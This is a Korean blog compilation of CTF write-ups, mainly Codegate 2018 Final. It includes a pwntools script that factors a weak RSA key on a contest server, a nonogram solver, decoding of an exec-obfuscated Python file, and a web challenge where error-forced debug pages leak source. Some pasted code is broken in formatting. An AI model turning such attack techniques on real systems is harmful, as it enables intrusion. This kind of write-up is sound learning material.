Shall We Dance / Reversing / 500pt

The flag is in English lowercase only, without spaces. Please be sure to wear earphone/headphone when running the program.

의도치 않게 풀이해버려서 얼떨떨한 문제였다.

본격 아이다, 올리디버거 없이 풀어보는 리버싱 문제

문제는 다음과 같이 생겼다.

메뉴는 총 3가지이다.

  1. Yes. Let's Dance - 음악 선택
  2. I'm sorry. I have an another partner:( - 아무것도 안함
  3. I want to go home. -_-; - 종료

그리고 1번 메뉴를 선택하면 총 4개의 음악중에 하나를 선택해서 들을 수 있다.

1, 2, 3번은 진짜 음악이 재생된다.

그러나 4번은 "tango.wav" is broken X(라면서 재생 해주지 않는다.

처음에는 resourcehacker를 이용하여 저 4개의 암호화(?) 된 리소스를 바꿔치기해서 재생을 해보려 했지만 실패했고 플래그를 얻은 방법은 다음과 같다.

  1. 실행한다.
  2. tango를 실행한다.
  3. 메모리덤프를 뜬다.
  4. wav파일(문제에서 wav is broken라고 해서 추측함.)을 카빙한다.

나오지 않는 4번 노래를 틀고

메모리 덤프를 뜨고

덤프파일에서 wav 파일의 내용인 "wav"를 검색하면

헤더까지 예쁘게 살아있는 wav파일을 볼 수 있다. 어디가 끝인지 찾기 귀찮으니 이걸 엄청 길게 복사해서 새 파일을 만들면

재생이 되고 플래그를 한글자 한글자 읽어준다.

myfavoritemusicisjazz

'CTF Write-up > 2018' 카테고리의 다른 글

Codegate 2018 Final / within2s  (0) 2018.04.07
Codegate 2018 Final / Random Picross  (0) 2018.04.07
Codegate 2018 Final / Flower Dance  (0) 2018.04.07
VolgaCTF2018 quals / Old Goverment Site  (0) 2018.03.26
Codegate 2018 qual / Miro  (0) 2018.03.01

within2s / Crypto / 150pt

nc주소와 문제파일을 준다.

파일은 총 2개로 intro.txt는 프로그램이 시작될때 출력되는 banner이다. 소스코드 안에 안넣어서 소스코드가 깔끔해서 좋았다.

 ___       __   ___  _________  ___  ___  ___  ________     _______  ________      
|\  \     |\  \|\  \|\___   ___\\  \|\  \|\  \|\   ___  \  /  ___  \|\   ____\     
\ \  \    \ \  \ \  \|___ \  \_\ \  \\\  \ \  \ \  \\ \  \/__/|_/  /\ \  \___|_    
 \ \  \  __\ \  \ \  \   \ \  \ \ \   __  \ \  \ \  \\ \  \__|//  / /\ \_____  \   
  \ \  \|\__\_\  \ \  \   \ \  \ \ \  \ \  \ \  \ \  \\ \  \  /  /_/__\|____|\  \  
   \ \____________\ \__\   \ \__\ \ \__\ \__\ \__\ \__\\ \__\|\________\____\_\  \ 
    \|____________|\|__|    \|__|  \|__|\|__|\|__|\|__| \|__| \|_______|\_________\
                                                                       \|_________|

소스코드는 다음과 같다.

#!/usr/bin/python

from gmpy2 import *
import os
import sys
import time
import random
import struct
import string

prime = [1009, 1013, 1019, 1021, 1031, 1033, 1039, 1049, 1051, 1061, 1063, 1069, 1087, 1091, 1093, 1097, 1103, 1109, 1117, 1123, 1129, 1151, 1153, 1163, 1171, 1181, 1187, 1193, 1201, 1213, 1217, 1223, 1229, 1231, 1237, 1249, 1259, 1277, 1279, 1283, 1289, 1291, 1297, 1301, 1303, 1307, 1319, 1321, 1327, 1361, 1367, 1373, 1381, 1399, 1409, 1423, 1427, 1429, 1433, 1439, 1447, 1451, 1453, 1459, 1471, 1481, 1483, 1487, 1489, 1493, 1499, 1511, 1523, 1531, 1543, 1549, 1553, 1559, 1567, 1571, 1579, 1583, 1597, 1601, 1607, 1609, 1613, 1619, 1621, 1627, 1637, 1657, 1663, 1667, 1669, 1693, 1697, 1699, 1709, 1721, 1723, 1733, 1741, 1747, 1753, 1759, 1777, 1783, 1787, 1789, 1801, 1811, 1823, 1831, 1847, 1861, 1867, 1871, 1873, 1877, 1879, 1889, 1901, 1907, 1913, 1931, 1933, 1949, 1951, 1973, 1979, 1987, 1993, 1997, 1999, 2003, 2011, 2017, 2027, 2029, 2039, 2053, 2063, 2069, 2081, 2083, 2087, 2089, 2099, 2111, 2113, 2129, 2131, 2137, 2141, 2143, 2153, 2161, 2179, 2203, 2207, 2213, 2221, 2237, 2239, 2243, 2251, 2267, 2269, 2273, 2281, 2287, 2293, 2297, 2309, 2311, 2333, 2339, 2341, 2347, 2351, 2357, 2371, 2377, 2381, 2383, 2389, 2393, 2399, 2411, 2417, 2423, 2437, 2441, 2447, 2459, 2467, 2473, 2477, 2503, 2521, 2531, 2539, 2543, 2549, 2551, 2557, 2579, 2591, 2593, 2609, 2617, 2621, 2633, 2647, 2657, 2659, 2663, 2671, 2677, 2683, 2687, 2689, 2693, 2699, 2707, 2711, 2713, 2719, 2729, 2731, 2741, 2749, 2753, 2767, 2777, 2789, 2791, 2797, 2801, 2803, 2819, 2833, 2837, 2843, 2851, 2857, 2861, 2879, 2887, 2897, 2903, 2909, 2917, 2927, 2939, 2953, 2957, 2963, 2969, 2971, 2999, 3001, 3011, 3019, 3023, 3037, 3041, 3049, 3061, 3067, 3079, 3083, 3089, 3109, 3119, 3121, 3137, 3163, 3167, 3169, 3181, 3187, 3191, 3203, 3209, 3217, 3221, 3229, 3251, 3253, 3257, 3259, 3271, 3299, 3301, 3307, 3313, 3319, 3323, 3329, 3331, 3343, 3347, 3359, 3361, 3371, 3373, 3389, 3391, 3407, 3413, 3433, 3449, 3457, 3461, 3463, 3467, 3469, 3491, 3499, 3511, 3517, 3527, 3529, 3533, 3539, 3541, 3547, 3557, 3559, 3571, 3581, 3583, 3593, 3607, 3613, 3617, 3623, 3631, 3637, 3643, 3659, 3671, 3673, 3677, 3691, 3697, 3701, 3709, 3719, 3727, 3733, 3739, 3761, 3767, 3769, 3779, 3793, 3797, 3803, 3821, 3823, 3833, 3847, 3851, 3853, 3863, 3877, 3881, 3889, 3907, 3911, 3917, 3919, 3923, 3929, 3931, 3943, 3947, 3967, 3989, 4001, 4003, 4007, 4013, 4019, 4021, 4027, 4049, 4051, 4057, 4073, 4079, 4091, 4093, 4099, 4111, 4127, 4129, 4133, 4139, 4153, 4157, 4159, 4177, 4201, 4211, 4217, 4219, 4229, 4231, 4241, 4243, 4253, 4259, 4261, 4271, 4273, 4283, 4289, 4297, 4327, 4337, 4339, 4349, 4357, 4363, 4373, 4391, 4397, 4409, 4421, 4423, 4441, 4447, 4451, 4457, 4463, 4481, 4483, 4493, 4507, 4513, 4517, 4519, 4523, 4547, 4549, 4561, 4567, 4583, 4591, 4597, 4603, 4621, 4637, 4639, 4643, 4649, 4651, 4657, 4663, 4673, 4679, 4691, 4703, 4721, 4723, 4729, 4733, 4751, 4759, 4783, 4787, 4789, 4793, 4799, 4801, 4813, 4817, 4831, 4861, 4871, 4877, 4889, 4903, 4909, 4919, 4931, 4933, 4937, 4943, 4951, 4957, 4967, 4969, 4973, 4987, 4993, 4999]

def PrintIntro():
    f = open("intro.txt", "rb")
    intro = f.read()
    f.close()
    print intro

def xgcd(b, n):
    x0, x1, y0, y1 = 1, 0, 0, 1
    while n != 0:
        q, b, n = b // n, n, b % n
        x0, x1 = x1, x0 - q * x1
        y0, y1 = y1, y0 - q * y1
    return  b, x0, y0

def GenerateP():
    for i  in xrange(10000):
        rint = random.randint(70,100)
        out = random.sample(prime,rint)
        out.append(2)
        out.sort()

        z = 1

        for j in xrange(len(out)):
            z = z*out[j]

        z = z + 1

        if is_prime(z, 50):
            return z

def GenerateN(randomST):
    p = GenerateP()
    q = next_prime(mpz_urandomb(randomST, 1024))

    # Prime Checking
    if is_prime(p, 50) and is_prime(q, 50):
        n = p*q
        return n

def msg_generator(size=50, chars=string.ascii_uppercase + string.digits + string.ascii_lowercase):
    return ''.join(random.choice(chars) for _ in range(size))

def EncryptMsg():
    msg = msg_generator()
    msgint = int(msg.encode('hex'),16)

    f = open("/dev/urandom")
    seed = f.read(8)
    f.close()
    randomST = random_state(struct.unpack(">Q", seed)[0])

    PrintIntro()
    print("[*] We are now Encrypting msg...")
    print("[*] Please wait for seconds.\n")
    sys.stdout.flush()

    e = 65537
    n = GenerateN(randomST)
    time.sleep(2)

    EncryptedData = powmod(msgint, e, n)

    print("[*] e : %d" % e)
    print("[*] n : %d\n" % n)
    print("[*] Encrypted Data : %d\n" % EncryptedData)
    sys.stdout.flush()

    print("[*] You have to decrypt msg within 2 seconds !!")
    print("    Then I will give you the Flag :D")
    print("    If not, you have to try one more time !!\n")

    print("[*] DECRYPT : ")
    sys.stdout.flush()

    recv_msg = raw_input()

    if recv_msg == msg:
        print "\n[*] Congratulations!!! Here is your Flag :)"
        sys.stdout.flush()
        os.system("cat flag")

if __name__ == '__main__':
    EncryptMsg()

처음에는 멍청하게 501개 소수에서 70개에서 100개 랜덤하게 뽑은다음에 다 곱하고 2도 곱해서 1더해가지고 p를 만들고 랜~~~덤한 q를 만들어서 N을 해서 RSA하길래...

p를 모두 구해서 딕셔너리를 만들어서 시도했다... 멍청하다...

import random
import struct
from gmpy2 import *

prime = [1009, 1013, 1019, 1021, 1031, 1033, 1039, 1049, 1051, 1061, 1063, 1069, 1087, 1091, 1093, 1097, 1103, 1109, 1117, 1123, 1129, 1151, 1153, 1163, 1171, 1181, 1187, 1193, 1201, 1213, 1217, 1223, 1229, 1231, 1237, 1249, 1259, 1277, 1279, 1283, 1289, 1291, 1297, 1301, 1303, 1307, 1319, 1321, 1327, 1361, 1367, 1373, 1381, 1399, 1409, 1423, 1427, 1429, 1433, 1439, 1447, 1451, 1453, 1459, 1471, 1481, 1483, 1487, 1489, 1493, 1499, 1511, 1523, 1531, 1543, 1549, 1553, 1559, 1567, 1571, 1579, 1583, 1597, 1601, 1607, 1609, 1613, 1619, 1621, 1627, 1637, 1657, 1663, 1667, 1669, 1693, 1697, 1699, 1709, 1721, 1723, 1733, 1741, 1747, 1753, 1759, 1777, 1783, 1787, 1789, 1801, 1811, 1823, 1831, 1847, 1861, 1867, 1871, 1873, 1877, 1879, 1889, 1901, 1907, 1913, 1931, 1933, 1949, 1951, 1973, 1979, 1987, 1993, 1997, 1999, 2003, 2011, 2017, 2027, 2029, 2039, 2053, 2063, 2069, 2081, 2083, 2087, 2089, 2099, 2111, 2113, 2129, 2131, 2137, 2141, 2143, 2153, 2161, 2179, 2203, 2207, 2213, 2221, 2237, 2239, 2243, 2251, 2267, 2269, 2273, 2281, 2287, 2293, 2297, 2309, 2311, 2333, 2339, 2341, 2347, 2351, 2357, 2371, 2377, 2381, 2383, 2389, 2393, 2399, 2411, 2417, 2423, 2437, 2441, 2447, 2459, 2467, 2473, 2477, 2503, 2521, 2531, 2539, 2543, 2549, 2551, 2557, 2579, 2591, 2593, 2609, 2617, 2621, 2633, 2647, 2657, 2659, 2663, 2671, 2677, 2683, 2687, 2689, 2693, 2699, 2707, 2711, 2713, 2719, 2729, 2731, 2741, 2749, 2753, 2767, 2777, 2789, 2791, 2797, 2801, 2803, 2819, 2833, 2837, 2843, 2851, 2857, 2861, 2879, 2887, 2897, 2903, 2909, 2917, 2927, 2939, 2953, 2957, 2963, 2969, 2971, 2999, 3001, 3011, 3019, 3023, 3037, 3041, 3049, 3061, 3067, 3079, 3083, 3089, 3109, 3119, 3121, 3137, 3163, 3167, 3169, 3181, 3187, 3191, 3203, 3209, 3217, 3221, 3229, 3251, 3253, 3257, 3259, 3271, 3299, 3301, 3307, 3313, 3319, 3323, 3329, 3331, 3343, 3347, 3359, 3361, 3371, 3373, 3389, 3391, 3407, 3413, 3433, 3449, 3457, 3461, 3463, 3467, 3469, 3491, 3499, 3511, 3517, 3527, 3529, 3533, 3539, 3541, 3547, 3557, 3559, 3571, 3581, 3583, 3593, 3607, 3613, 3617, 3623, 3631, 3637, 3643, 3659, 3671, 3673, 3677, 3691, 3697, 3701, 3709, 3719, 3727, 3733, 3739, 3761, 3767, 3769, 3779, 3793, 3797, 3803, 3821, 3823, 3833, 3847, 3851, 3853, 3863, 3877, 3881, 3889, 3907, 3911, 3917, 3919, 3923, 3929, 3931, 3943, 3947, 3967, 3989, 4001, 4003, 4007, 4013, 4019, 4021, 4027, 4049, 4051, 4057, 4073, 4079, 4091, 4093, 4099, 4111, 4127, 4129, 4133, 4139, 4153, 4157, 4159, 4177, 4201, 4211, 4217, 4219, 4229, 4231, 4241, 4243, 4253, 4259, 4261, 4271, 4273, 4283, 4289, 4297, 4327, 4337, 4339, 4349, 4357, 4363, 4373, 4391, 4397, 4409, 4421, 4423, 4441, 4447, 4451, 4457, 4463, 4481, 4483, 4493, 4507, 4513, 4517, 4519, 4523, 4547, 4549, 4561, 4567, 4583, 4591, 4597, 4603, 4621, 4637, 4639, 4643, 4649, 4651, 4657, 4663, 4673, 4679, 4691, 4703, 4721, 4723, 4729, 4733, 4751, 4759, 4783, 4787, 4789, 4793, 4799, 4801, 4813, 4817, 4831, 4861, 4871, 4877, 4889, 4903, 4909, 4919, 4931, 4933, 4937, 4943, 4951, 4957, 4967, 4969, 4973, 4987, 4993, 4999]

def GenerateP():
    for i  in xrange(10000):
        rint = random.randint(70,100) # 70 ~ 100
        out = random.sample(prime,rint) # choice prime number in prime list rint value 
        out.append(2) # include out array 2
        out.sort() # sorting

        z = 1

        for j in xrange(len(out)):
            z = z*out[j]

        z = z + 1

        if is_prime(z, 50):
            return z

w = open("res.txt", 'a')
for i in range(0, 100000) :
    p = GenerateP()
    w.write(str(p) + '\n')

w.close()

물론 불가능하다.

그러다가 2시간쯤 삽질을 하곤 고딩때 알게 된 어떤 툴로 돌렸더니 N이 0.5초만에 p랑 q로 쪼개져나오는걸 보고 경악을 금치 못했다.

그리고 윈도우 GUI프로그램을 어떻게 Python에 붙일까 고민하고 선구한테 물어보고 하다가 결국 Python모듈을 찾기 시작했다. 하지만 여러 소스코드를 다해도 그 윈도우 툴보다는 한참느리다 못해 결과를 안보여주었다.

하지만 sympy.ntheory모듈에서 해당 작업을 해주는 것을 확인했다.

그런데 문제를 푸는 서버에는 python2와 python3이 설치되어있었고 이 둘은 서로 꼬여있었다.

pip로 모듈을 설치하면 python3에 설치가 되고 python(2) -m pip로 설치해도 python3에 설치가 되었으며 설치된걸 python2로 옮겨도 실행이 안되는 오류가 있었다. 물론 그것을 해결할 생각은 안했고 나도 코드로 꼬아서 해결했다.

최종 문제 풀이 코드는 다음과 같다.

Attack.py - Python2

from pwn import * import os import gmpy import math

def egcd(a, b): 
    x,y, u,v = 0,1, 1,0 
    while a != 0: 
        q, r = b//a, b%a 
        m, n = x-u_q, y-v_q 
        b,a, x,y, u,v = a,r, u,v, m,n 
        gcd = b 
    return gcd, x, y

p_con = remote("211.117.60.69", 8888)

value = p_con.recvuntil("[_] DECRYPT :") 
N = int(value.split("[_] n :")[1].split("\n")[0]) 
e = 65537 
msg = int(value.split("[*] Encrypted Data : ")[1].split("\n")[0])

print ("[+] Parsed N : %d" %N) os.system("python3 sym.py %d > values.txt" %N) value = open('values.txt', 'rb').read().split('\n')

p = int(value[0]) q = int(value[1]) phi = (p - 1) * (q - 1) gcd, a, b = egcd(65537, phi)

d = a 
print d

pt = pow(msg, d, N) 
flag = "%x" %int(pt) 
if len(flag) % 2 != 0 : 
    flag = '0' + flag 
print len(flag.decode('hex')) 
print flag.decode('hex') 
p_con.send(flag.decode('hex')+'\n') 
print p_con.recv(1024) 
print p_con.recv(1024) 
print p_con.recv(1024) 
p_con.close()

sym.py - Python3

import sympy from sympy.ntheory import factorint import sys

for i in factorint(int(sys.argv[1])).keys() : 
    print (i)

소스코드를 두개 놓고 python2랑 python3을 왔다 갔다 해서 해결했는데 조만간 서버는 포맷을 해야겠다.

[+] Opening connection to 211.117.60.69 on port 8888: Done
[+] Parsed N : 1672266681474782486321973558609133508360970173993284085908698763576675454610298678106119244144494637495339593425171376711818518986049904708494196667043696311909642233287272386009601493101307418958845691606460230728149728518824717422660215123581693377240526362121805536036566504966709603562411000320634292998813418881954979639395200030393380991484249675772637125342524739160366946080318583153965754337172334138985960320110754337137228405876446535330971883671962368637886341799436057827528329999750757961774656011175054761184157841962392843175721640522339241420006931873526663901533917327915084828150593018983140827386584145129
610657891283618329533812521241951616981166946976628084043623888946961212440814623257635316704549272388703589573083927971485432601036762736830845394749374248693433601279140069609255579793101441178618110251091844939287414787257780144942616664442331597481121761726948900444437639758659905587006119591580632315289605266341459942072815988929778335909083996969916079064258305490240586723970143588010500588412144770158417471142930650788288233193955360191570184954512357307854842962201134816300621784816448689139617029400413798211292797700477990673814617888112727662075315371665124040749375388983710263868602775366175352499930141873
50
wxyBjMZGXoR0aft4k6VzqI6tDhiwUarhFKOUjDcO9yABf2BIdA

[*] Congratulations!!! Here is your Flag :)

Flag{MATHEMATICS is re4lly interest!ng... isn't it?? I love it! :D}

[*] Closed connection to 211.117.60.69 port 8888

Flag{MATHEMATICS is re4lly interest!ng... isn't it?? I love it! :D}


'CTF Write-up > 2018' 카테고리의 다른 글

Codegate 2018 Final / Shall We Dance  (0) 2018.04.07
Codegate 2018 Final / Random Picross  (0) 2018.04.07
Codegate 2018 Final / Flower Dance  (0) 2018.04.07
VolgaCTF2018 quals / Old Goverment Site  (0) 2018.03.26
Codegate 2018 qual / Miro  (0) 2018.03.01

Random Picross / Misc / 50pt

within 1 min, solve 10 stage of 20x20 picross puzzle!

본 write-up에는 적지는 않지만 nc주소가 주어지며 해당 주소로 접속하면 20 x 20 피크로스를 준다.

    ██████╗  █████╗ ███╗   ███╗██████╗  ██████╗ ███╗   ███╗    ██████╗ ██╗ ██████╗██████╗  ██████╗ ███████╗███████╗
    ██╔══██╗██╔══██╗████╗ ████║██╔══██╗██╔═══██╗████╗ ████║    ██╔══██╗██║██╔════╝██╔══██╗██╔═══██╗██╔════╝██╔════╝
    ██████╔╝███████║██╔████╔██║██║  ██║██║   ██║██╔████╔██║    ██████╔╝██║██║     ██████╔╝██║   ██║███████╗███████╗
    ██╔══██╗██╔══██║██║╚██╔╝██║██║  ██║██║   ██║██║╚██╔╝██║    ██╔═══╝ ██║██║     ██╔══██╗██║   ██║╚════██║╚════██║
    ██║  ██║██║  ██║██║ ╚═╝ ██║██████╔╝╚██████╔╝██║ ╚═╝ ██║    ██║     ██║╚██████╗██║  ██║╚██████╔╝███████║███████║
    ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝     ╚═╝╚═════╝  ╚═════╝ ╚═╝     ╚═╝    ╚═╝     ╚═╝ ╚═════╝╚═╝  ╚═╝ ╚═════╝ ╚══════╝╚══════╝

█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗
╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝

    [*] Codegate2018 Warming up Challenge for Junior
    [*] Solve 10 round, 20x20 Random Picross
    [*] If you don't know how to solve picross puzzle,
        please visit >>> https://www.thonky.com/picross/
    [*] Input Answer as One line with '.' and capital 'O', without space.
        System split your input into 20 letters and check the answer ([0][0]~[0][19] ... [19][0]~[19][19])

█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗█████╗
╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝╚════╝

[*] ROUND  1

                 1  6  6  1  1  1  4  1  3  3  5  4  5  2  5  1  1  4  1  4 

                 1  2  2  3  6  1  1  1  4  1  2  2  2  3  4  1  3  4  3  3 

                 2  1  4  2  2  1  2  1  8  2  3  5  2  3  6  6  2  2  1  4 

                 1  1  2  3  7  3  3  1     3  2  1  7  3     3 10  2  7  3 

                 1  2     3     2  3  1     2           3     3     1  3    

                 4        1     5     5                                     

                 2              1     1                                     

                - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
       1  5  1  3  1  | 
          2  1  4  3  | 
             8  8  1  | 
       4  1  5  1  4  | 
             6  9  1  | 
       3  1  5  3  3  | 
    5  1  1  1  1  1  | 
       1  3  3  1  6  | 
          1  1  1  8  | 
       1  1  5  3  1  | 
       2  3  2  3  3  | 
       1  1  2  2  5  | 
    1  3  1  1  3  2  | 
                1 18  | 
             3 11  4  | 
             1 15  1  | 
    1  3  2  1  3  1  | 
             1  7 10  | 
 3  1  1  3  2  1  2  | 
    1  1  5  2  1  1  | 
[*] Answer >>>

그냥 풀어서 보내면 된다. 따라서 소스코드를 짜면 된다.

옆에 있던 동현이형이 먼저 풀고있었고 숟가락 얹기를 시전해서 풀었다.

피크로스, nonogram을 풀이 하는 소스코드는 어딘가에서 주워왔다.

https://github.com/aegamesi/nonogram.py/blob/master/nonogram.py

그리고 문제를 자동으로 받아오고 해당 문제를 풀어서 원하는 형식으로 전송해주는 소스코드를 덛붙여서 작성했다.

#-*- coding: utf-8 -*- 
from PIL import Image, ImageDraw 
from pwn import * 

SYMBOL_EMPTY = 0 
SYMBOL_X = 1 
SYMBOL_FILLED = 2

# def fixed_sum_digits(digits, Tot): """ adapted from [http://stackoverflow.com/a/8617750](http://stackoverflow.com/a/8617750)

    Given digits and Tot, it generates an array of all ways to arrange "digits" x digits so that
    the sum of them is "Tot". Zero can be a digit on either end, otherwise it must be one or greater
    """
    ways = []
    def iter_fun(sum, deepness, sequence, Total):
        if deepness == 0:
            if sum == Total:
                ways.append(sequence)
        else:
            on_end = deepness == 1 or deepness == digits
            for i in range(0 if on_end else 1, Total - sum + 1):
                iter_fun(sum + i, deepness - 1, sequence + [i], Total) 

iter_fun(0, digits, [], Tot) 
return ways

def generate_possible_rows(nums, size): 
    digits = len(nums) + 1 
       space_left = size - sum(nums) 
    combos = fixed_sum_digits(digits, space_left)

    rows = []
    for combo in combos:
        row = [None] * (len(combo) + len(nums))
        row[::2] = combo
        row[1::2] = nums
        out = []
        curr = SYMBOL_X;
        for r in row:
            out.extend([curr] * r)
            curr = SYMBOL_X if (curr == SYMBOL_FILLED) else SYMBOL_FILLED
        rows.append(out)
    return rows

def filter_rows(rows, existing): 
    def is_row_okay(row, existing): 
        for i in range(0, len(existing)): 
            if existing[i] != 0 and row[i] != existing[i]: 
                return False 
            return True 
    return [row for row in rows if is_row_okay(row, existing)]

def find_common_rows(rows, size): 
    row_x = [SYMBOL_X] *size 
    row_filled = [SYMBOL_FILLED] * size

    for row in rows:
        for i in range(0, size):
            if row[i] == SYMBOL_FILLED:
                row_x[i] = SYMBOL_EMPTY
            if row[i] == SYMBOL_X:
                row_filled[i] = SYMBOL_EMPTY

    return [x + y for x, y in zip(row_x, row_filled)]

def do_row(nums, size, existing=None): 
    possible = generate_possible_rows(nums, size)

    if existing is not None:
        possible = filter_rows(possible, existing)

    common = find_common_rows(possible, size)

    if existing is not None:
        for i in range(0, size):
            if common[i] == SYMBOL_EMPTY:
                common[i] = existing[i]

    return common

def is_row_filled(row): 
    for x in row: 
        if x == SYMBOL_EMPTY: 
            return False 
    return True

# Grid abstraction handlers

def grid_make(w, h): 
    return [[SYMBOL_EMPTY for i in range(0, w)] for j in range(0, h)] 

def grid_get_row(grid, row): 
    return grid[row] 

def grid_get_col(grid, col): 
    return [row[col] for row in grid]

def grid_set_row(grid, row, val): 
    grid[row] = val 

def grid_set_col(grid, col, val): 
    for row in range(0, len(grid)): 
        grid[row][col] = val[row] 

def grid_print(grid): 
    symbol_print = [' ', '.', 'O'] 
    retval = '' 
    for row in grid: 
        s = "" 
        for x in row: 
            s += symbol_print[x] 
            retval = retval + s 
    return(retval.replace('\n', '')) 

def grid_filled(grid): 
    for row in grid: 
        if not is_row_filled(row): 
            return False 
    return True

# end grid abstraction handlers

def go(cols, rows): 
    w = len(cols) 
       h = len(rows) 
    g = grid_make(w, h) 
    num = 0 

def snapshot(name="nonogram"): 
    pass

    snapshot()
    while not grid_filled(g):
        for i in range(0, h):
            row = grid_get_row(g, i)
            if is_row_filled(row):
                continue

            d = do_row(test_rows[i], h, row)
            grid_set_row(g, i, d)
            snapshot()

        for i in range(0, w):
            col = grid_get_col(g, i)
            if is_row_filled(col):
                continue

            d = do_row(test_cols[i], w, col)
            grid_set_col(g, i, d)
            snapshot()
    snapshot()
    return grid_print(g)

def parse_rows( _rows ):
    result = [] 
    for tmprow in _rows.split( '| \n' )[:-1]:  
        result_row = [] 
        for row in tmprow.strip().replace( ' ', ' ' ).split( ' ' ):
            result_row.append( int(row) ) result.append( result_row )
    return result

def parse_cols( _cols ): 
    _cols = _cols.split('\n')[4:] 
    dic = [[]]*20 
    for i in range(0, 20) : 
        dic[i] = []

    for line in _cols:
        line = line.replace('\t', '').replace('   ', ' * ')
        idx = 0
        for number in line.split(' ') :
            if number == '':
                continue
            number = number.replace(' ', '')
            if number == "*" :
                idx = idx + 1
                continue
            dic[idx].append(int(number))
            idx = idx + 1
    return dic

def make_list_for_cols( _cols ): 
    tmplists = [] 
    for tmps in _cols.split( '\n\n' )[2:-1]: 
        tmplist = [] 
        for tmp in tmps.strip().split( ' ' ): 
            if len( tmp ) == 0: 
                tmp = '0' 
            tmplist.append( tmp )

        tmplists.append( tmplist )  
    return tmplists

r = remote("110.10.147.24", 9090) 
for i in range(0, 13) : 
    r.recvuntil("\n[*] ROUND") 
    picross = r.recvuntil("Answer >>>")

    tmps = picross.split( '- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -' )
    cols = tmps[0]
    rows = tmps[1]

    lists = make_list_for_cols( cols )
    test_rows = parse_rows( rows )
    test_cols = parse_cols( cols )

    print test_rows
    print test_cols
    answer = go(test_cols, test_rows)
    print answer

    r.sendline(answer)
    print r.recv(20480)

print r.recv(2048)

평소에 pwnable은 손도 안대보던지라 pwntools의 사용법을 몰랐다.. 그래서 마지막에 플래그는 전송되어왔는데 r.recv를 계속해도 플래그가 오지 않아서 최후의 수단으로 패킷을 덤프해서 플래그를 확인했다.

FLAG{e4sy_Warm1ng_UP_4_Juni0r_Right?_Good_Luck_4_12_H0ur5!!:p}

'CTF Write-up > 2018' 카테고리의 다른 글

Codegate 2018 Final / Shall We Dance  (0) 2018.04.07
Codegate 2018 Final / within2s  (0) 2018.04.07
Codegate 2018 Final / Flower Dance  (0) 2018.04.07
VolgaCTF2018 quals / Old Goverment Site  (0) 2018.03.26
Codegate 2018 qual / Miro  (0) 2018.03.01

Final Dance / Misc / 50pt

hi.zip이라는 파일을 하나 주는데 이 파일의 내용은 다음 사진과 같다.

단순하다. hi.py의 소스코드는 다음과 같다.

exec(chr(1+1+1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+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+0)+chr(1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+0)+chr(1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+0)+chr(1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+0)+chr(1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+0)+chr(1+1+1+1+1+1+1+1+1+1+0))

난독을 풀기 위해 소스코드의 최상단 exec를 print로 바꾼뒤 실행하면 난독화가 해제된 소스코드를 볼 수 있다. 푼 결과는 다음과 같다.

print 'Hello everyone~~'
print 'input something!!'
inp = raw_input()
print(inp)

if(inp == "follow follow me!"):
    print "flag{how_people_fall_in_love_in_mysterious_ways}"

else:
    print 'done!'

실행하지 않아도 flag를 볼 수 있다.

flag{how_people_fall_in_love_in_mysterious_ways}

'CTF Write-up > 2018' 카테고리의 다른 글

Codegate 2018 Final / within2s  (0) 2018.04.07
Codegate 2018 Final / Random Picross  (0) 2018.04.07
VolgaCTF2018 quals / Old Goverment Site  (0) 2018.03.26
Codegate 2018 qual / Miro  (0) 2018.03.01
Codegate 2018 qual / Impel_Down  (0) 2018.03.01

Old Goverment Site(Web) / 150 pt

이 문제의 사이트를 들어가면 다음과 같은 홈페이지를 볼 수 있다. 

위 페이지의 모든 링크는 /page?id=\<NUMBER> 형식으로 접근 되는데 표면상으로 접근 가능한 페이지는 총 다섯개(2, 5, 23, 33, 36)이다. 하지만 이를 Brute-forcing 혹은 오류를 발생 시켜 18번 페이지로의 접근이 가능하다. 오류를 발생한 방법은 id인자를 Array로 넘겨주어서 발생시키며 해당 사이트는 Ruby - Webrick으로 구동중이여서 debug페이지를 보여주게 된다. debug페이지를 보면 id.to_i를 이용하여 각 id값의 페이지로 분기하는 것을 볼 수 있으며 이에 표면상에서 접근하는 페이지가 아닌 18번 페이지를 발견 할 수 있다.

또한 app.rb에서는 POST로 접근하였을 때를 위한 소스코드를 볼 수 있다. 이를 위와 같은 방법을 이용하여 오류를 발생한다면 지금 보는 소스코드 보다 아래쪽으로 더 많은 소스코드를 볼 수 있을 것이다.

오류를 발생하면 추가적으로 siteValidation함수를 볼 수 있고 이 함수는 사이트의 주소를 받아 접근해보는 함수라는 것을 알 수 있다.

